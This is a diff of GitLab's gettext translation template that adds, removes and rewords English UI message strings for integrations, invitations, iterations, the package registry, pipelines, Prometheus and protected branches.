+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
